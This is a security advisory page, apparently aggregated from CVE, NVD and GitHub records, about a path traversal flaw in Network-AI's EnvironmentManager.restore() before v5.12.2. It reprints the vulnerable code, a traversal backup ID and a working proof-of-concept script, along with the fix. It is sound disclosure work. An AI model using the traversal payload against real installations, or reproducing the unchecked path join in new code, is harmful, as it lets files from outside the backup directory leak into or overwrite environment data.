EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data

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Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. `restore()` now validates `backupId` against `/^[\w\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.

Source published

20 Jul 2026 16:26:07 UTC

Source modified

20 Jul 2026 17:20:47 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 6.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. `restore()` now validates `backupId` against `/^[\w\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.

Source published

20 Jul 2026 17:18:15 UTC

Source modified

24 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 14:19:16 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

### Summary `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1. ### Details `restore()` builds `backupPath` directly from caller-controlled `backupId`: ```ts restore(env: EnvName, backupId: string): RestoreResult { const envDir = this.getDataDir(env); const backupsDir = join(envDir, '.backups'); const backupPath = join(backupsDir, backupId); if (!existsSync(backupPath)) { throw new Error(`Backup '${backupId}' not found for environment '${env}'`); } this.backup(env); const files = this._collectBackupFiles(backupPath); let restored = 0; for (const rel of files) { if (rel === '_manifest.json') continue; const src = join(backupPath, rel); const dst = join(envDir, rel); try { mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true }); copyFileSync(src, dst); restored++; } catch { /* skip */ } } return { backupId, env, filesRestored: restored }; } ``` There is no resolved containment check that ensures `backupPath` remains under `backupsDir`. Default CLI reachability exists through `network-ai env backup restore --env <env> --backup <id>`. Affected source evidence: - `lib/env-manager.ts:474-499` — vulnerable restore path construction and copy. - `bin/cli.ts:441-458` — default CLI exposes restore with caller-controlled `--backup`. ### PoC This PoC uses only temporary directories and restores `trust_levels.json` from an external directory into `data/dev`: ```bash TMP=$(mktemp -d) TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS' const { EnvironmentManager } = require('./lib/env-manager'); const fs = require('fs'); const path = require('path'); const base = process.env.TMPBASE; const data = path.join(base, 'data'); const source = path.join(base, 'outside', 'secret-src'); fs.mkdirSync(source, { recursive: true }); fs.writeFileSync(path.join(source, 'trust_levels.json'), '{"leaked":true}'); const mgr = new EnvironmentManager(data, { chain: ['dev', 'st'], gates: { dev: 'auto', st: 'auto' }, }); mgr.init('dev'); const backupId = path.relative(path.join(data, 'dev', '.backups'), source); const result = mgr.restore('dev', backupId); const restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8'); console.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2)); fs.rmSync(base, { recursive: true, force: true }); TS ``` Observed result includes `backupId: "../../../outside/secret-src"`, `filesRestored: 1`, and restored content `{"leaked":true}`. ### Impact A caller that can invoke backup restore can copy arbitrary readable directories into `data/<env>`, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed. --- ### Resolution (maintainer) **Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install [email protected]` — published to npm with provenance. `restore()` now validates `backupId` against `/^[\w\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment. All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Source published

19 Jun 2026 21:42:38 UTC

Source modified

21 Jul 2026 03:56:47 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Publisher rating · MODERATE